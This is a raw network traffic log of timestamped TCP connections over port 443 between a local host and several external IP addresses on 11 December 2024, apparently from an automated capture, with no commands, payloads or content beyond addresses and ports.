Dec 11, 2024 02:08:22.097146988 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:22.097157955 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.114170074 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:22.142527103 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:22.142543077 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.171771049 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.171895027 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:22.171904087 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.179563999 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.179626942 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:22.179636955 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.187123060 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.187176943 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:22.187189102 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.194860935 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.194922924 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:22.194932938 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.210135937 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.210189104 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:22.210200071 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.217739105 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.217796087 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:22.217806101 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.225363016 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.225497007 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:22.225505114 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.233114004 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.233231068 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.233258009 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:22.233269930 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.233541012 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:22.240196943 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.247241974 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.247292042 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:22.247303009 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.254049063 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.254113913 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:22.254122019 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.254163027 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.254224062 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:22.254339933 CET	49731	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:22.254357100 CET	443	49731	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:22.406517029 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:22.406543016 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:22.406645060 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:22.406891108 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:22.406904936 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:22.656183958 CET	49739	443	192.168.2.4	69.49.245.172
Dec 11, 2024 02:08:22.656202078 CET	443	49739	69.49.245.172	192.168.2.4
Dec 11, 2024 02:08:22.656267881 CET	49739	443	192.168.2.4	69.49.245.172
Dec 11, 2024 02:08:22.656528950 CET	49739	443	192.168.2.4	69.49.245.172
Dec 11, 2024 02:08:22.656541109 CET	443	49739	69.49.245.172	192.168.2.4
Dec 11, 2024 02:08:23.409498930 CET	49741	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:08:23.409524918 CET	443	49741	142.250.181.100	192.168.2.4
Dec 11, 2024 02:08:23.409599066 CET	49741	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:08:23.410012960 CET	49741	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:08:23.410027027 CET	443	49741	142.250.181.100	192.168.2.4
Dec 11, 2024 02:08:23.615398884 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:23.615942001 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:23.615957975 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:23.617046118 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:23.617227077 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:23.617520094 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:23.617594957 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:23.617753029 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:23.617760897 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:23.661324024 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:23.904417992 CET	443	49739	69.49.245.172	192.168.2.4
Dec 11, 2024 02:08:23.904732943 CET	49739	443	192.168.2.4	69.49.245.172
Dec 11, 2024 02:08:23.904743910 CET	443	49739	69.49.245.172	192.168.2.4
Dec 11, 2024 02:08:23.905761957 CET	443	49739	69.49.245.172	192.168.2.4
Dec 11, 2024 02:08:23.905836105 CET	49739	443	192.168.2.4	69.49.245.172
Dec 11, 2024 02:08:23.907125950 CET	49739	443	192.168.2.4	69.49.245.172
Dec 11, 2024 02:08:23.907208920 CET	443	49739	69.49.245.172	192.168.2.4
Dec 11, 2024 02:08:23.907424927 CET	49739	443	192.168.2.4	69.49.245.172
Dec 11, 2024 02:08:23.907438040 CET	443	49739	69.49.245.172	192.168.2.4
Dec 11, 2024 02:08:23.958173990 CET	49739	443	192.168.2.4	69.49.245.172
Dec 11, 2024 02:08:24.064517021 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.064563990 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.064611912 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.064650059 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.064667940 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:24.064680099 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.064837933 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:24.072727919 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.072812080 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:24.072820902 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.081083059 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.081137896 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:24.081146002 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.089456081 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.089545012 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:24.089551926 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.134304047 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:24.183969021 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.227446079 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:24.227454901 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.259860039 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.259918928 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:24.259927034 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.269205093 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.269246101 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.269264936 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:24.269273043 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.269316912 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:24.277009964 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.284782887 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.284833908 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:24.284847021 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.292542934 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.292598009 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:24.292603970 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.300411940 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.300473928 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:24.300481081 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.308213949 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.308265924 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:24.308273077 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.316019058 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.316076040 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:24.316083908 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.323837042 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.323895931 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:24.323901892 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.337688923 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.337738991 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:24.337743998 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.337760925 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.337799072 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:24.337805986 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.337898016 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.337951899 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:24.338155031 CET	49738	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:24.338166952 CET	443	49738	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:24.355465889 CET	443	49739	69.49.245.172	192.168.2.4
Dec 11, 2024 02:08:24.355492115 CET	443	49739	69.49.245.172	192.168.2.4
Dec 11, 2024 02:08:24.355537891 CET	49739	443	192.168.2.4	69.49.245.172
Dec 11, 2024 02:08:24.355550051 CET	443	49739	69.49.245.172	192.168.2.4
Dec 11, 2024 02:08:24.355561018 CET	443	49739	69.49.245.172	192.168.2.4
Dec 11, 2024 02:08:24.355622053 CET	49739	443	192.168.2.4	69.49.245.172
Dec 11, 2024 02:08:24.356918097 CET	49739	443	192.168.2.4	69.49.245.172
Dec 11, 2024 02:08:24.356925011 CET	443	49739	69.49.245.172	192.168.2.4
Dec 11, 2024 02:08:24.364056110 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:24.411334991 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.507657051 CET	49742	443	192.168.2.4	69.49.245.172
Dec 11, 2024 02:08:24.507707119 CET	443	49742	69.49.245.172	192.168.2.4
Dec 11, 2024 02:08:24.507797003 CET	49742	443	192.168.2.4	69.49.245.172
Dec 11, 2024 02:08:24.508083105 CET	49742	443	192.168.2.4	69.49.245.172
Dec 11, 2024 02:08:24.508095980 CET	443	49742	69.49.245.172	192.168.2.4
Dec 11, 2024 02:08:24.690634012 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.690697908 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.690742016 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.690746069 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:24.690758944 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.690807104 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:24.690814972 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.690864086 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.690915108 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:24.690921068 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.706844091 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.706902981 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:24.706911087 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.715183020 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.715240002 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:24.715246916 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.770255089 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:24.809993982 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.856842995 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:24.856851101 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.886388063 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.886450052 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:24.886457920 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.895852089 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.895926952 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.895926952 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:24.895944118 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.895993948 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:24.903784037 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.911720037 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.911772966 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:24.911780119 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.919651031 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.919704914 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:24.919712067 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.927562952 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.927617073 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:24.927624941 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.935636997 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.935745001 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:24.935751915 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.943597078 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.943654060 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:24.943660975 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.951483965 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.951535940 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:24.951541901 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.964272022 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.964313030 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:24.964318991 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.970688105 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.970738888 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:24.970745087 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.977118969 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.977164984 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:24.977170944 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.977247000 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:24.977299929 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:24.978419065 CET	49737	443	192.168.2.4	104.17.25.14
Dec 11, 2024 02:08:24.978426933 CET	443	49737	104.17.25.14	192.168.2.4
Dec 11, 2024 02:08:25.104111910 CET	443	49741	142.250.181.100	192.168.2.4
Dec 11, 2024 02:08:25.137563944 CET	49741	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:08:25.137573004 CET	443	49741	142.250.181.100	192.168.2.4
Dec 11, 2024 02:08:25.138885975 CET	443	49741	142.250.181.100	192.168.2.4
Dec 11, 2024 02:08:25.139025927 CET	49741	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:08:25.151071072 CET	49741	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:08:25.151164055 CET	443	49741	142.250.181.100	192.168.2.4
Dec 11, 2024 02:08:25.189932108 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:25.189977884 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:25.190063000 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:25.190380096 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:25.190393925 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:25.191999912 CET	49741	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:08:25.192007065 CET	443	49741	142.250.181.100	192.168.2.4
Dec 11, 2024 02:08:25.241305113 CET	49741	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:08:25.642433882 CET	49746	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:25.642436981 CET	49745	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:25.642452002 CET	443	49746	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:25.642467022 CET	443	49745	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:25.642673969 CET	49745	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:25.642673969 CET	49746	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:25.643274069 CET	49746	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:25.643275023 CET	49745	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:25.643287897 CET	443	49745	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:25.643289089 CET	443	49746	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:25.757909060 CET	443	49742	69.49.245.172	192.168.2.4
Dec 11, 2024 02:08:25.758337021 CET	49742	443	192.168.2.4	69.49.245.172
Dec 11, 2024 02:08:25.758358002 CET	443	49742	69.49.245.172	192.168.2.4
Dec 11, 2024 02:08:25.759541988 CET	443	49742	69.49.245.172	192.168.2.4
Dec 11, 2024 02:08:25.759762049 CET	49742	443	192.168.2.4	69.49.245.172
Dec 11, 2024 02:08:25.764256001 CET	49742	443	192.168.2.4	69.49.245.172
Dec 11, 2024 02:08:25.764256001 CET	49742	443	192.168.2.4	69.49.245.172
Dec 11, 2024 02:08:25.764348984 CET	443	49742	69.49.245.172	192.168.2.4
Dec 11, 2024 02:08:25.817260027 CET	49742	443	192.168.2.4	69.49.245.172
Dec 11, 2024 02:08:25.817274094 CET	443	49742	69.49.245.172	192.168.2.4
Dec 11, 2024 02:08:25.864097118 CET	49742	443	192.168.2.4	69.49.245.172
Dec 11, 2024 02:08:26.211345911 CET	443	49742	69.49.245.172	192.168.2.4
Dec 11, 2024 02:08:26.211369038 CET	443	49742	69.49.245.172	192.168.2.4
Dec 11, 2024 02:08:26.211457014 CET	443	49742	69.49.245.172	192.168.2.4
Dec 11, 2024 02:08:26.211486101 CET	49742	443	192.168.2.4	69.49.245.172
Dec 11, 2024 02:08:26.211604118 CET	49742	443	192.168.2.4	69.49.245.172
Dec 11, 2024 02:08:26.215502977 CET	49742	443	192.168.2.4	69.49.245.172
Dec 11, 2024 02:08:26.215527058 CET	443	49742	69.49.245.172	192.168.2.4
Dec 11, 2024 02:08:26.398840904 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:26.399224997 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:26.399245024 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:26.399616003 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:26.400815964 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:26.400876999 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:26.400911093 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:26.443335056 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:26.454385042 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:26.844494104 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:26.844548941 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:26.844583988 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:26.844624996 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:26.844664097 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:26.844662905 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:26.844676018 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:26.844723940 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:26.844738007 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:26.852603912 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:26.852684021 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:26.852693081 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:26.857716084 CET	443	49746	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:26.858001947 CET	49746	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:26.858016968 CET	443	49746	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:26.859070063 CET	443	49746	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:26.859137058 CET	49746	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:26.859261990 CET	443	49745	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:26.860146046 CET	49745	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:26.860162020 CET	443	49745	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:26.861175060 CET	443	49745	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:26.861244917 CET	49745	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:26.862168074 CET	49745	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:26.862210989 CET	49745	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:26.862225056 CET	443	49745	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:26.862303972 CET	49745	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:26.862360001 CET	49745	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:26.862693071 CET	49747	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:26.862711906 CET	443	49747	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:26.863945961 CET	49747	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:26.864799976 CET	49746	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:26.864814043 CET	49746	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:26.864860058 CET	49746	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:26.864885092 CET	443	49746	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:26.864942074 CET	49746	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:26.865132093 CET	49748	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:26.865166903 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:26.865236998 CET	49748	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:26.865319967 CET	49747	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:26.865334034 CET	443	49747	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:26.865470886 CET	49748	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:26.865484953 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:26.867155075 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:26.867211103 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:26.867218018 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:26.912095070 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:26.963628054 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.004235983 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:27.004254103 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.039907932 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.040045023 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:27.040056944 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.041774035 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.041830063 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:27.041836977 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.056776047 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.056816101 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.056837082 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:27.056845903 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.056895971 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:27.064414024 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.072068930 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.072114944 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.072170973 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:27.072182894 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.072233915 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:27.079734087 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.087476015 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.087670088 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:27.087682009 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.095295906 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.095355988 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:27.095365047 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.102792978 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.102895975 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:27.102905035 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.109301090 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.109380960 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:27.109390020 CET	443	49744	104.17.24.14	192.168.2.4
